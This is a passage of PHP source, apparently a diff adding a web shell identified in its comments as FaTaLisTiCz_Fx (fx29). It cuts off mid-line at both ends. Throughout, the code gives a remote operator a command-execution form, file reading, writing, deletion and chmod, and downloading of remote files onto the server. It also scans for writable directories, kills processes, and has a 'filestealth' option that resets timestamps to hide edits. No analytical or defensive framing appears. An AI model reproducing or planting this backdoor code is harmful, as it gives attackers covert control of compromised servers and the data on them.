fx29_sess_put($sess_data); + + $act = "ls"; + + } + + + + ##[ UNSELECT ]## + + elseif ($act == "unselect") { + + foreach ($sess_data["copy"] as $k=>$v) { + + if (in_array($v,$actbox)) { unset($sess_data["copy"][$k]); } + + } + + foreach ($sess_data["cut"] as $k=>$v) { + + if (in_array($v,$actbox)) { unset($sess_data["cut"][$k]); } + + } + + fx29_sess_put($sess_data); + + $act = "ls"; + + } + + + + ##[ EMPTY BUFFER ]## + + if (@$actemptybuff) { $sess_data["copy"] = $sess_data["cut"] = array(); fx29_sess_put($sess_data); } + + + + ##[ PASTE BUFFER ]## + + elseif (@$actpastebuff) { + + $psterr = ""; + + foreach($sess_data["copy"] as $k=>$v) { + + $to = $d.basename($v); + + if (!fs_copy_obj($v,$to)) { $psterr .= "Can't copy ".$v." to ".$to."!<br>"; } + + if ($copy_unset) { unset($sess_data["copy"][$k]); } + + } + + foreach($sess_data["cut"] as $k=>$v) { + + $to = $d.basename($v); + + if (!fs_move_obj($v,$to)) { $psterr .= "Can't move ".$v." to ".$to."!<br>"; } + + unset($sess_data["cut"][$k]); + + } + + fx29_sess_put($sess_data); + + if (!empty($psterr)) { disp_error("Pasting with errors:<br>$psterr"); } + + $act = "ls"; + + } + + + + ##[ ARCHIVE BUFFER ]## + + elseif (@$actarcbuff) { + + $arcerr = ""; + + if (substr($actarcbuff_path,-7,7) == ".tar.gz") { $ext = ".tar.gz"; } + + else { $ext = ".tar.gz"; } + + if ($ext == ".tar.gz") { $cmdline = "tar cfzv"; } + + $cmdline .= " ".$actarcbuff_path; + + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + + foreach($objects as $v) { + + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + + if (substr($v,0,strlen($d)) == $d) { $v = basename($v); } + + if (is_dir($v)) { + + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + + $v .= "*"; + + } + + $cmdline .= " ".$v; + + } + + $tmp = realpath("."); + + chdir($d); + + $ret = fx29exec($cmdline); + + chdir($tmp); + + if (empty($ret)) { $arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>"; } + + $ret = str_replace("\r\n","\n",$ret); + + $ret = explode("\n",$ret); + + if ($copy_unset) { foreach($sess_data["copy"] as $k=>$v) { unset($sess_data["copy"][$k]); } } + + foreach($sess_data["cut"] as $k=>$v) { + + if (in_array($v,$ret)) { fs_rmobj($v); } + + unset($sess_data["cut"][$k]); + + } + + fx29_sess_put($sess_data); + + if (!empty($arcerr)) { disp_error("Archivation errors:<br>$arcerr"); } + + $act = "ls"; + + } + + ##[ CMD ]## + + if ($act == "cmd") { + + @chdir($chdir); + + if (!empty($submit)) { + + echo "<div class=barheader>.: Command Output :.</div>\n"; + + $olddir = realpath("."); + + @chdir($d); + + $ret = fx29exec($cmd); + + $ret = convert_cyr_string($ret,"d","w"); + + if ($cmd_txt) { + + $rows = count(explode("\n",$ret))+1; + + if ($rows < 10) { $rows = 10; } else { $rows = 30; } + + $cols = 125; + + echo "<textarea class=\"shell\" cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>\n"; + + } + + else { echo $ret."<br>"; } + + @chdir($olddir); + + } + + } + + ##[ PHP FILESYSTEM (By FaTaLisTiCz_Fx) ]## + + if ($act == "phpfsys") { + + echo "<div align=left>"; + + $fsfunc = $phpfsysfunc; + + if ($fsfunc=="copy") { + + if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";} + + else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; } + + } + + elseif ($fsfunc=="rename") { + + if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";} + + else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; } + + } + + elseif ($fsfunc=="chmod") { + + if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";} + + else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; } + + } + + elseif ($fsfunc=="read") { + + $darg = $d.$arg1; + + if ($hasil = @file_get_contents($darg)) { + + echo "<b>Filename:</b> ".$darg."<br>"; + + echo "<center><textarea cols=125 rows=30>"; + + echo htmlentities($hasil); + + echo "</textarea></center>\n"; + + } + + else { disp_error("Couldn't open $darg"); } + + } + + elseif ($fsfunc=="write") { + + $darg = $d.$arg1; + + if(@file_put_contents($darg,$arg2)) { + + echo "<b>Saved!</b> ".$darg; + + } + + else { disp_error("Can't write to $darg!"); } + + } + + elseif ($fsfunc=="downloadbin") { + + $handle = fopen($arg1, "rb"); + + $contents = ''; + + while (!feof($handle)) { + + $contents .= fread($handle, 8192); + + } + + $r = @fopen($d.$arg2,'w'); + + if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + + else { disp_error("Can't write to ".$d.$arg2."!"); } + + fclose($r); + + fclose($handle); + + } + + elseif ($fsfunc=="download") { + + $text = implode('', file($arg1)); + + if ($text) { + + $r = @fopen($d.$arg2,'w'); + + if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + + else { disp_error("Can't write to ".$d.$arg2."!"); } + + fclose($r); + + } + + else { disp_error("Can't download from $arg1!");} + + } + + elseif ($fsfunc=='mkdir') { + + $thedir = $d.$arg1; + + if ($thedir != $d) { + + if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); } + + elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); } + + else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);} + + } + + else { echo "Can't create current dir:<b> $thedir</b>"; } + + } + + elseif ($fsfunc=='fwritabledir') { + + function recurse_dir($dir,$max_dir) { + + global $dir_count; + + $dir_count++; + + if( $cdir = dir($dir) ) { + + while( $entry = $cdir-> read() ) { + + if( $entry != '.' && $entry != '..' ) { + + if(is_dir($dir.$entry) && is_writable($dir.$entry) ) { + + if ($dir_count > $max_dir) { return; } + + echo "[".$dir_count."] ".$dir.$entry."\n"; + + recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir); + + } + + } + + } + + $cdir->close(); + + } + + } + + if (!$arg1) { $arg1 = $d; } + + if (!$arg2) { $arg2 = 10; } + + if (is_dir($arg1)) { + + echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<hr noshade size=1>"; + + echo "<pre>"; + + recurse_dir($arg1,$arg2); + + echo "</pre>"; + + $total = $dir_count - 1; + + echo "<hr noshade size=1><b>Founds:</b> ".$total." of <b>Max</b> $arg2"; + + } + + else { + + disp_error("Directory is not exists or permission denied!"); + + } + + } + + else { + + if (!$arg1) { disp_error("No operation! Please fill 1st parameter!"); } + + else { + + if ($hasil = $fsfunc($arg1)) { + + echo "<b>Result of $fsfunc $arg1:</b><br>"; + + if (!is_array($hasil)) { echo "$hasil\n"; } + + else { + + echo "<pre>"; + + foreach ($hasil as $v) { echo $v."\n"; } + + echo "</pre>"; + + } + + } + + else { disp_error("$fsfunc $arg1 failed!"); } + + } + + } + + echo "</div>\n"; + + } + + + + ##[ DIRECTORY LIST ]## + + if ($act == "ls") { + + if (count($ls_arr) > 0) { $list = $ls_arr; } + + else { + + $list = array(); + + if ($h = @opendir($d)) { + + while (($o = readdir($h)) !== FALSE) { $list[] = $d.$o; } + + closedir($h); + + } + + } + + if (count($list) == 0) { + + disp_error("No such directory or access denied!<br>".htmlspecialchars($d)); + + } + + else { + + $objects = array(); + + $vd = "f"; #Viewing mode + + if ($vd == "f") { + + $objects["head"] = array(); + + $objects["folders"] = array(); + + $objects["links"] = array(); + + $objects["files"] = array(); + + foreach ($list as $v) { + + $o = basename($v); + + $row = array(); + + if ($o == ".") { $row[] = $d.$o; $row[] = "CURDIR"; } + + elseif ($o == "..") { $row[] = $d.$o; $row[] = "DIR"; } + + elseif (is_dir($v)) { + + if (is_link($v)) { $type = "LINK"; } + + else { $type = "DIR"; } + + $row[] = $v; + + $row[] = $type; + + } + + elseif(is_file($v)) { $row[] = $v; $row[] = filesize($v); } + + $row[] = filemtime($v); + + if (!is_windows()) { + + $ow = posix_getpwuid(fileowner($v)); + + $gr = posix_getgrgid(filegroup($v)); + + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + + } + + $row[] = fileperms($v); + + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + + elseif (is_link($v)) { $objects["links"][] = $row; } + + elseif (is_dir($v)) { $objects["folders"][] = $row; } + + elseif (is_file($v)) { $objects["files"][] = $row; } + + $i++; + + } + + $row = array(); + + $row[] = "<b>Name</b>"; + + $row[] = "<b>Size</b>"; + + $row[] = "<b>Date Modified</b>"; + + if (!is_windows()) {$row[] = "<b>Owner/Group</b>";} + + $row[] = "<b>Perms</b>"; + + $row[] = "<b>Action</b>"; + + $parsesort = parsesort($sort); + + $sort = $parsesort[0].$parsesort[1]; + + $k = $parsesort[0]; + + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + + $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" alt=\"".($parsesort[1] == "a"?"Asc":"Desc")."\"></a>"; + + $row[$k] .= $y; + + for($i=0;$i<count($row)-1;$i++) { + + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + + } + + $v = $parsesort[0]; + + usort($objects["folders"], "tabsort"); + + usort($objects["links"], "tabsort"); + + usort($objects["files"], "tabsort"); + + if ($parsesort[1] == "d") { + + $objects["folders"] = array_reverse($objects["folders"]); + + $objects["files"] = array_reverse($objects["files"]); + + } + + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + + $tab = array(); + + $tab["cols"] = array($row); + + $tab["head"] = array(); + + $tab["folders"] = array(); + + $tab["links"] = array(); + + $tab["files"] = array(); + + $i = 0; + + foreach ($objects as $a) { + + $v = $a[0]; + + $o = basename($v); + + $dir = dirname($v); + + if ($disp_fullpath) { $disppath = $v; } + + else { $disppath = $o; } + + $disppath = str2mini($disppath,60); + + if (in_array($v,$sess_data["cut"])) { $disppath = "<strike>".$disppath."</strike>"; } + + elseif (in_array($v,$sess_data["copy"])) { $disppath = "<u>".$disppath."</u>"; } + + foreach ($regxp_highlight as $r) { + + if ( ereg($r[0],strtolower($o)) ) { + + if ((!is_numeric($r[1])) or ($r[1] > 3)) { + + $r[1] = 0; + + @ob_clean(); + + disp_error("Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."); + + fx29shexit(); + + } + + else { + + $r[1] = round($r[1]); + + $isdir = is_dir($v); + + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) { + + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + + $disppath = $r[2].$disppath.$r[3]; + + if (isset($r[4])) { break; } + + } + + } + + } + + } + + $uo = urlencode($o); + + $ud = urlencode($dir); + + $uv = urlencode($v); + + $row = array(); + + if ($o == ".") { + + $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" alt=\"\"> ".$o."</a>"; + + $row[] = "CURDIR"; + + } + + elseif ($o == "..") { + + $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" alt=\"\"> ".$o."</a>"; + + $row[] = "UPDIR"; + + } + + elseif (is_dir($v)) { + + if (is_link($v)) { + + $disppath .= " => ".readlink($v); + + $type = "LNK"; + + $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" alt=\"\"> [".$disppath."]</a>"; + + } + + else { + + $type = "DIR"; + + $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" alt=\"\"> [".$disppath."]</a>"; + + } + + $row[] = $type; + + } + + elseif(is_file($v)) { + + $ext = explode(".",$o); + + $c = count($ext)-1; + + $ext = $ext[$c]; + + $ext = strtolower($ext); + + $row[] = "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" alt=\"\"> ".$disppath."</a>"; + + $row[] = view_size($a[1]); + + } + + $row[] = @date("d.m.Y H:i:s",$a[2]); + + if (!is_windows()) { $row[] = $a[3]; } + + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + + + + if ($o == ".") { + + $checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; + + $i--; + + } + + else { + + $checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">"; + + } + + + + if (is_dir($v)) { + + $row[] = "$checkbox <a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\"></a> "; + + } + + else { + + $row[] = "$checkbox ". + + "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\"></a> ". + + "<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\"></a> ". + + "<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\"></a>"; + + } + + + + if (($o == ".") or ($o == "..")) { $tab["head"][] = $row; } + + elseif (is_link($v)) { $tab["links"][] = $row; } + + elseif (is_dir($v)) { $tab["folders"][] = $row; } + + elseif (is_file($v)) { $tab["files"][] = $row; } + + + + $i++; + + } + + } + + #Listing Files & Folders + + echo "<div class=barheader>.: "; + + if (!empty($fx_infohead)) { echo $fx_infohead; } + + else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; } + + echo " :.</div>\n\n"; + + echo "<form name=\"ls_form\" action=\"$surl\" method=POST>\n". + + "<input type=hidden name=act value=\"$dspact\">\n". + + "<input type=hidden name=d value=\"$d\">\n"; + +?> + +<table class="explorer"> + +<?php + + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + + foreach($table as $row) { + + echo "\t<tr>"; + + foreach($row as $v) { echo "<td>".$v."</td>"; } + + echo "</tr>\n"; + + } + +?> + +</table> + + + +<div align="right"> + + + + <script language="javascript"> + + function ls_setcheckboxall(status) { + + var id = 1; var num = <?php echo(count($table) - 2); ?>; + + while (id <= num) { + + document.getElementById('actbox'+id).checked = status; id++; + + } + + } + + function ls_reverse_all() { + + var id = 1; var num = <?php echo(count($table) - 2); ?>; + + while (id <= num) { + + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; + + } + + } + + </script> + + + + <input type="button" onclick="ls_setcheckboxall(true);" value="Check all"> + + <input type="button" onclick="ls_setcheckboxall(false);" value="Uncheck all"> + +<?php + + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0) { + + echo "\t<input type=\"submit\" name=\"actarcbuff\" value=\"Archive it!\">". + + "\t<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">\n". + + "\t<input type=\"submit\" name=\"actpastebuff\" value=\"Paste\">\n". + + "\t<input type=\"submit\" name=\"actemptybuff\" value=\"Empty buffer\">"; + + } + + echo "\n\t". + + "<select name=act>\n". + + "\t\t<option value=\"".$act."\">With checked:</option>\n"; + + + + $f_acts = array("delete","chmod","cut","copy","unselect"); + + foreach ($f_acts as $f1) { + + echo "\t\t<option value=\"$f1\"".($dspact == "$f1"?" selected":"").">$f1</option>\n"; + + } + + ?> + + </select> + + + + <input type="submit" value="Confirm"> + + + +</div> + +</form> + +<?php + + } + + } + + + + ##[ FILE ]## + + if ($act == "f") { + + echo "<div align=left>"; + + if (!isset($ft)) { $ft = ""; } + + if (!isset($newwin)) { $newwin = ""; } + + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { + + if (file_exists($d.$f)) { + + disp_error("Access denied!<br>".htmlspecialchars($d.$f)); + + } + + else { + + disp_error("File doesn't exists: ".htmlspecialchars($d.$f)."<br>\n". + + "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a>"); + + } + + } + + else { + + $r = @file_get_contents($d.$f); + + $ext = explode(".",$f); + + $c = count($ext)-1; + + $ext = $ext[$c]; + + $ext = strtolower($ext); + + $rft = ""; + + foreach ($ftypes as $k => $v) { + + if (in_array($ext,$v)) { $rft = $k; break; } + + } + + if (eregi("sess_(.*)",$f)) { $rft = "phpsess"; } + + if (empty($ft)) { $ft = $rft; } + + + + $arr = array( + + array("<img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\">","info"), + + array("<img src=\"".$surl."act=img&img=ext_html\" alt=\"html\">","html"), + + array("<img src=\"".$surl."act=img&img=ext_txt\" alt=\"txt\">","txt"), + + array("<img src=\"".$surl."act=img&img=ext_ini\" alt=\"ini\">","ini"), + + array("Code","code"), + + array("Session","phpsess"), + + array("SDB","sdb"), + + array("<img src=\"".$surl."act=img&img=ext_exe\" alt=\"exe\">","exe"), + + array("<img src=\"".$surl."act=img&img=ext_gif\" alt=\"img\">","img"), + + array("<img src=\"".$surl."act=img&img=ext_rtf\" alt=\"Notepad\">","notepad"), + + array("<img src=\"".$surl."act=img&img=change\" alt=\"Edit\">","edit"), + + array("<img src=\"".$surl."act=img&img=download\" alt=\"Download\">","download") + + ); + + + + echo "<div class=barheader>.: File Viewer [".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f).") :.\n"; + + echo "<hr size=1 noshade>\n"; + + foreach($arr as $t) { + + if ($t[1] == $rft) { echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=#3366FF>".$t[0]."</font></a>"; } + + elseif ($t[1] == $ft) { echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>"; } + + else { echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>"; } + + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."&newwin=1\" title=\"New Window\" target=\"_blank\">+</a>) "; + + } + + echo "</div>\n"; + + if ($ft == "info") { + + echo "<br><div class=barheader>Information</div>\n". + + "<table class=contents>\n". + + "<tr><th>Path</th><td>".$d.$f."</td></tr>\n". + + "<tr><th>Size</th><td>".view_size(filesize($d.$f))."</td></tr>\n". + + "<tr><th>MD5</th><td>".md5_file($d.$f)."</td></tr>\n"; + + if (!is_windows()) { + + echo "<tr><th><b>Owner/Group</b></td><td>"; + + $ow = posix_getpwuid(fileowner($d.$f)); + + $gr = posix_getgrgid(filegroup($d.$f)); + + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + + } + + echo "<tr><th>Perms</th><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr>\n". + + "<tr><th>Create time</th><td>".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr>\n". + + "<tr><th>Access time</th><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr>\n". + + "<tr><th>Modify time</th><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr>\n"; + + echo "<tr><th>HexDump</th><td>\n". + + "[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a> ] ". + + "[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a> ]<br>\n". + + "</td></tr>\n". + + "<tr><th>Base64</th><td>\n". + + "[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a> ] ". + + "[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a> ] ". + + "[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a> ] ". + + "[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a> ] ". + + "</td></tr>\n". + + "</table><br>\n"; + + $fi = fopen($d.$f,"rb"); + + if ($fi) { + + echo "<div class=barheader>"; + + if (@$fullhexdump) { echo "Full HexDump"; $str = fread($fi,filesize($d.$f)); } + + else { echo "HexDump Preview"; $str = fread($fi,$hexdump_lines*$hexdump_rows); } + + $n = 0; + + $a0 = "00000000<br>"; + + $a1 = ""; + + $a2 = ""; + + for ($i=0; $i<strlen($str); $i++) { + + $a1 .= sprintf("%02X",ord($str[$i]))." "; + + switch (ord($str[$i])) { + + case 0 : $a2 .= "<font>0</font>"; break; + + case 32: + + case 10: + + case 13: $a2 .= " "; break; + + default: $a2 .= htmlspecialchars($str[$i]); + + } + + $n++; + + if ($n == $hexdump_rows) { + + $n = 0; + + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + + $a1 .= "<br>"; + + $a2 .= "<br>"; + + } + + } + + echo "</div>\n"; + + echo "<table class=code><tr><td>".$a0."</td><td>".$a1."</td><td>".$a2."</td></tr></table><br>\n"; + + } + + $henc = ""; + + $encoded = ""; + + if (!isset($base64)) { $base64 = ""; } + + if ($base64 == 1) { + + $henc = "Base64 Encode"; + + $encoded = base64_encode(file_get_contents($d.$f)); + + } + + elseif($base64 == 2) { + + $henc = "Base64 Encode + Chunk"; + + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + + } + + elseif($base64 == 3) { + + $henc = "Base64 Encode + Chunk + Quotes"; + + $encoded = base64_encode(file_get_contents($d.$f)); + + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + + } + + elseif($base64 == 4) { + + $text = file_get_contents($d.$f); + + $encoded = base64_decode($text); + + $henc = "<b>Base64 Decode"; + + if (base64_encode($encoded) != $text) { $henc .= " (Failed!)"; } + + } + + if (!empty($encoded)) { + + echo "<div class=barheader>$henc</div>\n"; + + echo "<textarea cols=100 rows=10>".htmlspecialchars($encoded)."</textarea>"; + + echo "<br>\n"; + + } + + } + + elseif ($ft == "html") { + + if ($newwin) { @ob_clean(); echo $r; fx29shexit(); } + + else { echo $r; } + + } + + elseif ($ft == "txt") { + + echo "<center><textarea cols=\"125\" rows=\"20\">".htmlspecialchars($r)."</textarea></center>"; + + } + + elseif ($ft == "ini") { + + echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>"; + + } + + elseif ($ft == "phpsess") { + + echo "<pre>"; + + $v = explode("|",$r); + + echo $v[0]."<br>"; + + var_dump(unserialize($v[1])); + + echo "</pre>"; + + } + + elseif ($ft == "exe") { + + $ext = explode(".",$f); + + $c = count($ext)-1; + + $ext = $ext[$c]; + + $ext = strtolower($ext); + + $rft = ""; + + foreach ($exeftypes as $k => $v) { + + if (in_array($ext,$v)) { $rft = $k; break; } + + } + + $cmd = str_replace("%f%",$f,$rft); + + echo "<b>Execute file:</b>\n". + + "<form name=\"f_xfile\" action=\"".$surl."\" method=POST>\n". + + "<input type=hidden name=act value=cmd>\n". + + "<input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br>\n". + + "<input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"> \n". + + "<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked> - Display in text-area\n". + + "<input type=submit name=submit value=\"Execute\"></form>\n"; + + } + + elseif ($ft == "sdb") { echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>\n"; } + + elseif ($ft == "code") { + + echo "<div class=code style=\"background-color: ".$highlight_bg."\">\n"; + + if (@$newwin) { @ob_clean(); highlight_file($d.$f); fx29shexit(); } + + else { highlight_file($d.$f); } + + echo "\n</div>\n"; + + } + + elseif ($ft == "notepad") { + + @ob_clean(); + + header("Content-type: text/plain"); + + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + + echo($r); + + exit; + + } + + elseif ($ft == "download") { + + @ob_clean(); + + header("Content-type: application/octet-stream"); + + header("Content-length: ".filesize($d.$f)); + + header("Content-disposition: attachment; filename=\"".$f."\";"); + + echo $r; + + exit; + + } + + elseif ($ft == "img") { + + $inf = getimagesize($d.$f); + + if (!$newwin) { + + if (empty($imgsize)) {$imgsize = 20;} + + $width = $inf[0]/100*$imgsize; + + $height = $inf[1]/100*$imgsize; + + echo "<center><b>Size:</b> "; + + $sizes = array("100","50","20"); + + foreach ($sizes as $v) { + + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + + if ($imgsize != $v ) {echo $v;} + + else {echo "<u>".$v."</u>";} + + echo "</a> &nbsp; "; + + } + + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&newwin=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\"></center>"; + + } + + else { + + @ob_clean(); + + $ext = explode($f,"."); + + $ext = $ext[count($ext)-1]; + + header("Content-type: ".$inf["mime"]); + + readfile($d.$f); + + exit; + + } + + } + + elseif ($ft == "edit") { + + if (!empty($submit)) { + + if ($filestealth) {$stat = stat($d.$f);} + + $fp = fopen($d.$f,"w"); + + if (!$fp) {echo "<b>Can't write to file!</b>";} + + else { + + echo "<b>Saved!</b>"; + + fwrite($fp,$edit_text); + + fclose($fp); + + if ($filestealth) { touch($d.$f,$stat[9],$stat[8]); } + + $r = $edit_text; + + } + + } + + $rows = count(explode("\r\n",$r)); + + if ($rows < 10) { $rows = 10; } + + elseif ($rows > 30) { $rows = 30; } + + echo "<form name=\"f_save\" action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST>\n". + + "<input type=submit name=submit value=\"Save\"> ". + + "<input type=\"reset\" value=\"Reset\"> ". + + "<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br>". + + "<textarea name=\"edit_text\" cols=\"125\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea>\n". + + "</form>\n"; + + } + + elseif (!empty($ft)) { + + echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>"; + + } + + else { + + echo "<center><b>Unknown file type (".$ext."), please select type manually.</b></center>"; + + } + + } + + echo "</div>\n"; + + } + + + + ##[ DIRECTORY ]## + + if ($act == "d") { + + if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; } + + else { + + echo "<b>Directory information:</b>\n"; + + echo "<table>\n"; + + if (!is_windows()) { + + echo "<tr><td><b>Owner/Group</b></td><td> "; + + $ow = posix_getpwuid(fileowner($d)); + + $gr = posix_getgrgid(filegroup($d)); + + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + + } + + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>"; + + } + + } + + + + ##[ PROCESSES ]## + + if ($act == "processes") { + +?> + +<div class="barheader">.: Processes :.</div> + + + +<?php + + if (!is_windows()) { $handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":""); } + + else { $handler = "tasklist"; } + + $ret = fx29exec($handler); + + if (!$ret) { disp_error("Can't execute \"$handler\"!"); } + + else { + + if (empty($processes_sort)) { $processes_sort = $sort_default; } + + $parsesort = parsesort($processes_sort); + + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + + $k = $parsesort[0]; + + if ($parsesort[1] != "a") { + + $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" alt=\"Desc\"></a>"; + + } + + else { + + $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" alt=\"Asc\"></a>"; + + } + + $ret = htmlspecialchars($ret); + + if (!is_windows()) { + + if ($pid) { + + if (is_null($sig)) { $sig = 9; } + + echo "Sending signal ".$sig." to #".$pid."... "; + + if (posix_kill($pid,$sig)) { echo "<b>OK!</b>"; } else { echo "<b>ERROR!</b>"; } + + } + + while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); } + + $stack = explode("\n",$ret); + + $head = explode(" ",$stack[0]); + + unset($stack[0]); + + for($i=0;$i<count($head);$i++) { + + if ($i != $k) { + + $head[$i] = "<a 